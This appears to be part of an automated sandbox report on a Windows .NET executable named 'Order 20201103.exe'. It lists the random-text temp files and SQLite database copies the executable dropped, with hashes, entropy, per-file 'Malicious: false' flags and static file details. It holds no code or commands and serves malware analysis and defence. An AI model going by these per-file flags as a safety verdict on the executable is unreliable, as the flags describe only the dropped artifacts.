Encrypted:	false
SSDEEP:	24:iGmuvXb+mVV5Ule86OuFXvk64KaOMJQaJO7tZAWPN4rOnsK:/muvL+mP5Ule86OuraOMJZOHADqf
MD5:	BF469DD8C21F5160EACD49BB59E9A370
SHA1:	2CE4942C6CD2E22A644BAAFAED41DF9D0773477F
SHA-256:	9ECF07708D59E0B3AE33ED553978F4B2BB806B2FB805296F73F9270C4AE01B84
SHA-512:	FBBB805B4C65902C67F2F432BA20FFF689FABDB3652702FA176369107F688C43923C9D729095F313425847E14B138E61117ED6C03E582F82B6426BBC2C481380
Malicious:	false
Preview:	SQRKHNBNYNETDCILWIKLNRYHJZUPCYVTJJKABYYNVEJZBFJGIUZEFUHCOZZISQELZULMAPFIBUSVGGSXSVZRNJXFVUEIKBQNARELKJEJZTEBGXIFTBGDXBSYFJKFICMLOMHZZSIJMPIXZMQULHAZWNOCSCLWTNJMCGVQAOPYTZVRLCKSUPSMWVOFCPJAONGQBPLMQUTZSFYRIBDZWBXIEDJISMCTGTYKEIXWVDVOGMFUNRJDNEGJLVWNACBBGIIRTAHGUMSLSIZNGTRAUGMZTVGLIAKLLKJGKBMXIFPOYCQXJZKJHTLNZGDCLMXTYOBGFAPOQCJGRAKORKGGWPBOJLOZATKDZYFDSONUZOGBFRDBUKZTVYZGXDEWUOXNWHMOIBVOWNWFGBHSDTQQKXWZEHQLAYIXOVZEEZNESKKWITYPIDCMFHTWVHMHFCGNEBNVBSSQHMRSWLHVMAZERIUFTRXEVZHKRXWOMGETJJFBRLFIBRGLAQKLDFZEGHLZSVAMXMNCCUROXGQOMDQJSKUNOGLGYYTVABESIDHASDRACLOFEWGPYLEORXSYDRDGPGOXHIAISBZBDRNVQJXXIBNBXMDSKXPBSCGKGPASGNOIDKIBFJWUIRQHZLXZQVHUEHMHTRDWKGJVQHWFQEBJIBQLDWQHOQLXSPFPLWPYZROYDAQOOOYKTPVFQXLMLRDYSVXVAWCEGVSHGDVSHONQUAVCBBHJRTIJAYXUILHNGHIXFJPJFAUDIJFORYJZHNAXLWYBLWKCVJLUJIGBYGSEWFJFIROQQXBVEJEPGVYKSDGTPKJAXDLAEHUXWDHSNXZPAKHXDOWTIFIVFZHYQJCDKOBOMCFVMEKARJULRZEOXVQKSLPWYLMLCYLKXCIELPAZNPRENTCWPNMFETAJHSENFDLPGHKVHIIHECDTQGWZMNTMEHNJFXFUGFJMWUXXGOIHOBSONRLSITUXOCRFNCIJNPHZABGDPAFATRMRCPXROMUN

C:\Users\user\AppData\Local\Temp\tmpBA63.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694311754777018
Encrypted:	false
SSDEEP:	24:A8RGU2wNw6pbc5fP6UBtRzjn+4sNp3GYuf5/4dImDNR4+R00JOGJP89a:Aw4w9h+fiUBtJj+44pc3mDL4+R0MVJ/
MD5:	61908250A5348CC047FF15260F730C2B
SHA1:	CBCF34156EAE25B328A926E21008598EE8D1CBDE
SHA-256:	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
SHA-512:	BCAB9A36BF1111B05BC52D8921CAC19ABC0FA18D93EA4EB9866DF4B31624FFCA2FF55A09C5051DC2AECAB18828BA8FDA5F31FA0F1E1B7CDC51DF39041E2A82F3
Malicious:	false
Preview:	UOOJJOZIRHPVBWNJCWUSWUNTMYTRIXAVHMVNTYLIPCAYUDIDHLMFMKJROINQAVRXUZLNINNJJSHFEFPSZPLVVWBUDRECRECFHEVVEZDHIFPUKQTLDLWAAKNHNLRQDSPWEEVMZICDCINAORJHMIUUNNJHMWJLZHCNXQIZIPHJPLEDKWATEVYJSWRRMCEJGQXHFBOGXKHJFORHFMGMLTTZJKPJBYMKZVWGZAIGHCFNXGRNDDLJZMCZBXDTQVGPSMNLFNFDHXXCXDJJUNSVHDRBZEZFIUQIYSJVDHEFPPPROTSFKVYAURVOKTIKGYYSWJMCPHHISKCOIVXEIQWZICSWMZJVHXNBACFJZRIEQPOISHMZILEXPCMYBSQRASRNWPSMMYPWJFEXHUUJQAMZDZSIKVETWBZUQBTDCCOYIIJFYYHXPZIUCZRQQFYTKLLGWQPTPZJIZHUEFVCDUNPMVORWJRIAYGRRAHBFWKSAMTDEVSHQXJBHBMOINFGNSRFJDWPSMFABPWRZHIOIPNMLHKGNVWQJYVTWLEZDGMBOJLNHPJKWMHWBVAEGELRTQORSRZQBNXOXEHQJHOEQVNZZJSGWQGINLWNPWFSJNPGRBFOBAEJAOEEMVKZTQZEVVODQLWGPNPNOPXEXLEESZERAPVAPHAUNNCEHTNMFJYBTYGSNGBIEDWGUTNCJDESWGYITWPGBEFVMZYUYPQOQBFITFPUQTWZNQFLWVTMUIAOXBCINJDYCHTXVFQFJQSMNUTYABAAOGGEUKHMDYKLCSGIBIFQSYOIRBUYVSCPDGMVNAQBKZPEKHNRNDPIHOUUTPJDKDOACRPOMZOQCOIAOBNPJLJIYDLQLQUMPIRAMVWNBCMMWFDLTUGWRDVGNHOOODYTHAGWDMJKRVJZFYCVLFLQUWEILFSEPBEADHBHFVWZGUZKNXQCRSBRLGIVTWCSHGFTTTPQAKFWFDXDYXWAWDKWXXTMSJSVOBRAYZGGBDPJOGLIZ

C:\Users\user\AppData\Local\Temp\tmpBA64.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690028473124583
Encrypted:	false
SSDEEP:	24:nCtOJ8AJzDzL/RXD03mp5reBXnqW8rdYu942ZCpjtJHU2coh:nsnA9/Z03y5qXnD0Yz0qjtJpN
MD5:	1E5D6B27E451F2406E5ED97F51985EE1
SHA1:	EDE59763DC7E1275594BDBB4EF90F9FEE78E946C
SHA-256:	A239ED81C44DBF3A8F7F28604058DE45B82FB3D596779B6B889837B2FE34A886
SHA-512:	619426DCC7B7C18488EC96D5474A5AA62EE4B1E7B52D8550B6A875AF0A19E02772D30142D9DC6986750732671605C7FF31E1F919CC6D121531ECBF0AE092E215
Malicious:	false
Preview:	VAMYDFPUNDEKDDABFYGQUEJPDEJQRXUZJGWCCCFXBISLBAZPZFZUOPASIBSPZLUDDUPRUHUUIJHOSYOAZNPTVHZSOVZRGZOUKAQEHTNLFNGLYDYUCGZPLLLOEHMTCCHZKQTFZGYFXUPESPRXRPJCGBDDSERLKFESFYUBNGVYLYUPKGUHNHSJITKDYFMCKPMQIQVZAFMCKDCYROFZHMGJMQRWYUHYHVRTNVUYOJXTDHGZTNEIQMQCBZXDPFJFNGRNBVMQWFGMLOWQCFSJCOQJGHEUOCLNTWHNHAGOTODKZYNINGMKGKTSEOLBKYRISYDHZOZINVXDDFVINOGNYWBEAYTTXSMSWAEGHZLSECWGHVUJJVTTQREREZKVNURFBXKMFFSJVVWOEKHLPTCOWUJHWSDFUKDNLAGSWYUGJMRJXXQRDDRLFRUUNRAXNLOUYXFWKVJGUQJJHPLTQELSOSFVIKIJHQPVLNQGQRDFLHUOUWYTAHHQSFZQBHLQJWUJVJPUBUAQTFOTVGLOZARCSHXCGYQYIDNDEHNFGLALSEIYWKOMVZTQBJZGRBJPSSWZPZKRLWDCYXTKIVIEXXRVZGNCFGSOUZLWFLDVXTEBFKTOHHOOJYSVZPFZXBJVQSOAXJEZIKYMAJHZMJPCAITWVFULTXNZLTXOUQONILVMPIEJGACXWGOEWJOJBLQJHQVHEYUQGLOZPDZOSSPVSZDXLGREZBQIVSASMXXLOQBKYWGPWRRHSSMYHGWBDFPDMXUISJUJUHAMPPRVABJXFEHOJLFPPRVMCBCSXCBNPGOOXIZIQFZDERGWQTALQWJYKPHMFIFYATLSCGMSHBWQYFHEGZQGQPMOIIHVVZQXVAUPPNJCVRKBVFXELRZEQZPLXOQQSXNGDZEGAJZDGSCYSLPQBSDTSQNIRNOZGTIBFJTEPZSUWIUBLEIVPBBHHLLIQQIUIIUARIYFPPNOAZPLXJGSPZJIXJTYLKJEEICOIZEUUYWP

C:\Users\user\AppData\Local\Temp\tmpD374.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221519237678501
Encrypted:	false
SSDEEP:	192:72qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:72qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	B2BCB3634BB754418D079CBB35D1DD30
SHA1:	975944752BFF95AB07D2CEECD5A6D58F57F09B7C
SHA-256:	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
SHA-512:	8B972CE6D347012DEF68A7020F6BAA097244E58023489C1A8BFE39DE5375BD582757113B18B31384C8AC0B1BB595F130E2DFD351AC904395E0020350AD5A81B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD385.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221519237678501
Encrypted:	false
SSDEEP:	192:72qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:72qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	B2BCB3634BB754418D079CBB35D1DD30
SHA1:	975944752BFF95AB07D2CEECD5A6D58F57F09B7C
SHA-256:	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
SHA-512:	8B972CE6D347012DEF68A7020F6BAA097244E58023489C1A8BFE39DE5375BD582757113B18B31384C8AC0B1BB595F130E2DFD351AC904395E0020350AD5A81B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD395.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221519237678501
Encrypted:	false
SSDEEP:	192:72qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:72qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	B2BCB3634BB754418D079CBB35D1DD30
SHA1:	975944752BFF95AB07D2CEECD5A6D58F57F09B7C
SHA-256:	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
SHA-512:	8B972CE6D347012DEF68A7020F6BAA097244E58023489C1A8BFE39DE5375BD582757113B18B31384C8AC0B1BB595F130E2DFD351AC904395E0020350AD5A81B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD3A6.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221519237678501
Encrypted:	false
SSDEEP:	192:72qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:72qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	B2BCB3634BB754418D079CBB35D1DD30
SHA1:	975944752BFF95AB07D2CEECD5A6D58F57F09B7C
SHA-256:	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
SHA-512:	8B972CE6D347012DEF68A7020F6BAA097244E58023489C1A8BFE39DE5375BD582757113B18B31384C8AC0B1BB595F130E2DFD351AC904395E0020350AD5A81B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD3B6.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221519237678501
Encrypted:	false
SSDEEP:	192:72qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:72qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	B2BCB3634BB754418D079CBB35D1DD30
SHA1:	975944752BFF95AB07D2CEECD5A6D58F57F09B7C
SHA-256:	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
SHA-512:	8B972CE6D347012DEF68A7020F6BAA097244E58023489C1A8BFE39DE5375BD582757113B18B31384C8AC0B1BB595F130E2DFD351AC904395E0020350AD5A81B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD3C7.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221519237678501
Encrypted:	false
SSDEEP:	192:72qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:72qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	B2BCB3634BB754418D079CBB35D1DD30
SHA1:	975944752BFF95AB07D2CEECD5A6D58F57F09B7C
SHA-256:	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
SHA-512:	8B972CE6D347012DEF68A7020F6BAA097244E58023489C1A8BFE39DE5375BD582757113B18B31384C8AC0B1BB595F130E2DFD351AC904395E0020350AD5A81B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD3D8.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221519237678501
Encrypted:	false
SSDEEP:	192:72qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:72qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	B2BCB3634BB754418D079CBB35D1DD30
SHA1:	975944752BFF95AB07D2CEECD5A6D58F57F09B7C
SHA-256:	4D0225E8657180EEF8402F146B97FD051716A4BA926279159DBB3CEDD71279CB
SHA-512:	8B972CE6D347012DEF68A7020F6BAA097244E58023489C1A8BFE39DE5375BD582757113B18B31384C8AC0B1BB595F130E2DFD351AC904395E0020350AD5A81B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF338.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699088014379539
Encrypted:	false
SSDEEP:	24:iGmuvXb+mVV5Ule86OuFXvk64KaOMJQaJO7tZAWPN4rOnsK:/muvL+mP5Ule86OuraOMJZOHADqf
MD5:	BF469DD8C21F5160EACD49BB59E9A370
SHA1:	2CE4942C6CD2E22A644BAAFAED41DF9D0773477F
SHA-256:	9ECF07708D59E0B3AE33ED553978F4B2BB806B2FB805296F73F9270C4AE01B84
SHA-512:	FBBB805B4C65902C67F2F432BA20FFF689FABDB3652702FA176369107F688C43923C9D729095F313425847E14B138E61117ED6C03E582F82B6426BBC2C481380
Malicious:	false
Preview:	SQRKHNBNYNETDCILWIKLNRYHJZUPCYVTJJKABYYNVEJZBFJGIUZEFUHCOZZISQELZULMAPFIBUSVGGSXSVZRNJXFVUEIKBQNARELKJEJZTEBGXIFTBGDXBSYFJKFICMLOMHZZSIJMPIXZMQULHAZWNOCSCLWTNJMCGVQAOPYTZVRLCKSUPSMWVOFCPJAONGQBPLMQUTZSFYRIBDZWBXIEDJISMCTGTYKEIXWVDVOGMFUNRJDNEGJLVWNACBBGIIRTAHGUMSLSIZNGTRAUGMZTVGLIAKLLKJGKBMXIFPOYCQXJZKJHTLNZGDCLMXTYOBGFAPOQCJGRAKORKGGWPBOJLOZATKDZYFDSONUZOGBFRDBUKZTVYZGXDEWUOXNWHMOIBVOWNWFGBHSDTQQKXWZEHQLAYIXOVZEEZNESKKWITYPIDCMFHTWVHMHFCGNEBNVBSSQHMRSWLHVMAZERIUFTRXEVZHKRXWOMGETJJFBRLFIBRGLAQKLDFZEGHLZSVAMXMNCCUROXGQOMDQJSKUNOGLGYYTVABESIDHASDRACLOFEWGPYLEORXSYDRDGPGOXHIAISBZBDRNVQJXXIBNBXMDSKXPBSCGKGPASGNOIDKIBFJWUIRQHZLXZQVHUEHMHTRDWKGJVQHWFQEBJIBQLDWQHOQLXSPFPLWPYZROYDAQOOOYKTPVFQXLMLRDYSVXVAWCEGVSHGDVSHONQUAVCBBHJRTIJAYXUILHNGHIXFJPJFAUDIJFORYJZHNAXLWYBLWKCVJLUJIGBYGSEWFJFIROQQXBVEJEPGVYKSDGTPKJAXDLAEHUXWDHSNXZPAKHXDOWTIFIVFZHYQJCDKOBOMCFVMEKARJULRZEOXVQKSLPWYLMLCYLKXCIELPAZNPRENTCWPNMFETAJHSENFDLPGHKVHIIHECDTQGWZMNTMEHNJFXFUGFJMWUXXGOIHOBSONRLSITUXOCRFNCIJNPHZABGDPAFATRMRCPXROMUN

C:\Users\user\AppData\Local\Temp\tmpF339.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694311754777018
Encrypted:	false
SSDEEP:	24:A8RGU2wNw6pbc5fP6UBtRzjn+4sNp3GYuf5/4dImDNR4+R00JOGJP89a:Aw4w9h+fiUBtJj+44pc3mDL4+R0MVJ/
MD5:	61908250A5348CC047FF15260F730C2B
SHA1:	CBCF34156EAE25B328A926E21008598EE8D1CBDE
SHA-256:	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
SHA-512:	BCAB9A36BF1111B05BC52D8921CAC19ABC0FA18D93EA4EB9866DF4B31624FFCA2FF55A09C5051DC2AECAB18828BA8FDA5F31FA0F1E1B7CDC51DF39041E2A82F3
Malicious:	false
Preview:	UOOJJOZIRHPVBWNJCWUSWUNTMYTRIXAVHMVNTYLIPCAYUDIDHLMFMKJROINQAVRXUZLNINNJJSHFEFPSZPLVVWBUDRECRECFHEVVEZDHIFPUKQTLDLWAAKNHNLRQDSPWEEVMZICDCINAORJHMIUUNNJHMWJLZHCNXQIZIPHJPLEDKWATEVYJSWRRMCEJGQXHFBOGXKHJFORHFMGMLTTZJKPJBYMKZVWGZAIGHCFNXGRNDDLJZMCZBXDTQVGPSMNLFNFDHXXCXDJJUNSVHDRBZEZFIUQIYSJVDHEFPPPROTSFKVYAURVOKTIKGYYSWJMCPHHISKCOIVXEIQWZICSWMZJVHXNBACFJZRIEQPOISHMZILEXPCMYBSQRASRNWPSMMYPWJFEXHUUJQAMZDZSIKVETWBZUQBTDCCOYIIJFYYHXPZIUCZRQQFYTKLLGWQPTPZJIZHUEFVCDUNPMVORWJRIAYGRRAHBFWKSAMTDEVSHQXJBHBMOINFGNSRFJDWPSMFABPWRZHIOIPNMLHKGNVWQJYVTWLEZDGMBOJLNHPJKWMHWBVAEGELRTQORSRZQBNXOXEHQJHOEQVNZZJSGWQGINLWNPWFSJNPGRBFOBAEJAOEEMVKZTQZEVVODQLWGPNPNOPXEXLEESZERAPVAPHAUNNCEHTNMFJYBTYGSNGBIEDWGUTNCJDESWGYITWPGBEFVMZYUYPQOQBFITFPUQTWZNQFLWVTMUIAOXBCINJDYCHTXVFQFJQSMNUTYABAAOGGEUKHMDYKLCSGIBIFQSYOIRBUYVSCPDGMVNAQBKZPEKHNRNDPIHOUUTPJDKDOACRPOMZOQCOIAOBNPJLJIYDLQLQUMPIRAMVWNBCMMWFDLTUGWRDVGNHOOODYTHAGWDMJKRVJZFYCVLFLQUWEILFSEPBEADHBHFVWZGUZKNXQCRSBRLGIVTWCSHGFTTTPQAKFWFDXDYXWAWDKWXXTMSJSVOBRAYZGGBDPJOGLIZ

C:\Users\user\AppData\Local\Temp\tmpF33A.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690028473124583
Encrypted:	false
SSDEEP:	24:nCtOJ8AJzDzL/RXD03mp5reBXnqW8rdYu942ZCpjtJHU2coh:nsnA9/Z03y5qXnD0Yz0qjtJpN
MD5:	1E5D6B27E451F2406E5ED97F51985EE1
SHA1:	EDE59763DC7E1275594BDBB4EF90F9FEE78E946C
SHA-256:	A239ED81C44DBF3A8F7F28604058DE45B82FB3D596779B6B889837B2FE34A886
SHA-512:	619426DCC7B7C18488EC96D5474A5AA62EE4B1E7B52D8550B6A875AF0A19E02772D30142D9DC6986750732671605C7FF31E1F919CC6D121531ECBF0AE092E215
Malicious:	false
Preview:	VAMYDFPUNDEKDDABFYGQUEJPDEJQRXUZJGWCCCFXBISLBAZPZFZUOPASIBSPZLUDDUPRUHUUIJHOSYOAZNPTVHZSOVZRGZOUKAQEHTNLFNGLYDYUCGZPLLLOEHMTCCHZKQTFZGYFXUPESPRXRPJCGBDDSERLKFESFYUBNGVYLYUPKGUHNHSJITKDYFMCKPMQIQVZAFMCKDCYROFZHMGJMQRWYUHYHVRTNVUYOJXTDHGZTNEIQMQCBZXDPFJFNGRNBVMQWFGMLOWQCFSJCOQJGHEUOCLNTWHNHAGOTODKZYNINGMKGKTSEOLBKYRISYDHZOZINVXDDFVINOGNYWBEAYTTXSMSWAEGHZLSECWGHVUJJVTTQREREZKVNURFBXKMFFSJVVWOEKHLPTCOWUJHWSDFUKDNLAGSWYUGJMRJXXQRDDRLFRUUNRAXNLOUYXFWKVJGUQJJHPLTQELSOSFVIKIJHQPVLNQGQRDFLHUOUWYTAHHQSFZQBHLQJWUJVJPUBUAQTFOTVGLOZARCSHXCGYQYIDNDEHNFGLALSEIYWKOMVZTQBJZGRBJPSSWZPZKRLWDCYXTKIVIEXXRVZGNCFGSOUZLWFLDVXTEBFKTOHHOOJYSVZPFZXBJVQSOAXJEZIKYMAJHZMJPCAITWVFULTXNZLTXOUQONILVMPIEJGACXWGOEWJOJBLQJHQVHEYUQGLOZPDZOSSPVSZDXLGREZBQIVSASMXXLOQBKYWGPWRRHSSMYHGWBDFPDMXUISJUJUHAMPPRVABJXFEHOJLFPPRVMCBCSXCBNPGOOXIZIQFZDERGWQTALQWJYKPHMFIFYATLSCGMSHBWQYFHEGZQGQPMOIIHVVZQXVAUPPNJCVRKBVFXELRZEQZPLXOQQSXNGDZEGAJZDGSCYSLPQBSDTSQNIRNOZGTIBFJTEPZSUWIUBLEIVPBBHHLLIQQIUIIUARIYFPPNOAZPLXJGSPZJIXJTYLKJEEICOIZEUUYWP

C:\Users\user\AppData\Local\Temp\tmpF36A.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8616778647394084
Encrypted:	false
SSDEEP:	48:pMtA+IIkCVEq8Ma0D0HOlf/6ykwpLf/UUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:pOCCn8MouB6w9f/MiZqmvJKLPeymwil
MD5:	BDDE4AD11E732420E7ABCCA946B11611
SHA1:	278C3386A37BAFCA507CF4C128600B01B312DDA0
SHA-256:	099AB6B902097361832FC2485E96C71C827E722FA74C09C7D08DCE9091094C1D
SHA-512:	B29061A507FCAE2CB56155C5C911706E60C798D288968B210A1670C0F0D1D3F7B3B2B2919B946FED47C4975B157A56B557F71AE80A427C85C660F6B37153C9E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................zp....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF37A.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8616778647394084
Encrypted:	false
SSDEEP:	48:pMtA+IIkCVEq8Ma0D0HOlf/6ykwpLf/UUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:pOCCn8MouB6w9f/MiZqmvJKLPeymwil
MD5:	BDDE4AD11E732420E7ABCCA946B11611
SHA1:	278C3386A37BAFCA507CF4C128600B01B312DDA0
SHA-256:	099AB6B902097361832FC2485E96C71C827E722FA74C09C7D08DCE9091094C1D
SHA-512:	B29061A507FCAE2CB56155C5C911706E60C798D288968B210A1670C0F0D1D3F7B3B2B2919B946FED47C4975B157A56B557F71AE80A427C85C660F6B37153C9E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................zp....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF39B.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8616778647394084
Encrypted:	false
SSDEEP:	48:pMtA+IIkCVEq8Ma0D0HOlf/6ykwpLf/UUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:pOCCn8MouB6w9f/MiZqmvJKLPeymwil
MD5:	BDDE4AD11E732420E7ABCCA946B11611
SHA1:	278C3386A37BAFCA507CF4C128600B01B312DDA0
SHA-256:	099AB6B902097361832FC2485E96C71C827E722FA74C09C7D08DCE9091094C1D
SHA-512:	B29061A507FCAE2CB56155C5C911706E60C798D288968B210A1670C0F0D1D3F7B3B2B2919B946FED47C4975B157A56B557F71AE80A427C85C660F6B37153C9E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................zp....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF39C.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8616778647394084
Encrypted:	false
SSDEEP:	48:pMtA+IIkCVEq8Ma0D0HOlf/6ykwpLf/UUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:pOCCn8MouB6w9f/MiZqmvJKLPeymwil
MD5:	BDDE4AD11E732420E7ABCCA946B11611
SHA1:	278C3386A37BAFCA507CF4C128600B01B312DDA0
SHA-256:	099AB6B902097361832FC2485E96C71C827E722FA74C09C7D08DCE9091094C1D
SHA-512:	B29061A507FCAE2CB56155C5C911706E60C798D288968B210A1670C0F0D1D3F7B3B2B2919B946FED47C4975B157A56B557F71AE80A427C85C660F6B37153C9E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................zp....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.9607220440050295
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Order 20201103.exe
File size:	97'792 bytes
MD5:	5bb99ac790aeeea6267bb29fb67ff860
SHA1:	cf1a7f18df560dd886b71d3c036da6b66be24d03
SHA256:	113ba1be00a45820019ab0e10097ffdaabaee668013820364c9dbe7365838c21
SHA512:	6bea0b2da20ff153ce754f6ed6c72b02538e748eb9ed79be0ef0c5a1091503a80abf093887933c0d4f71865b1093ffddb509ab0609f550b6d01167aa232f389c
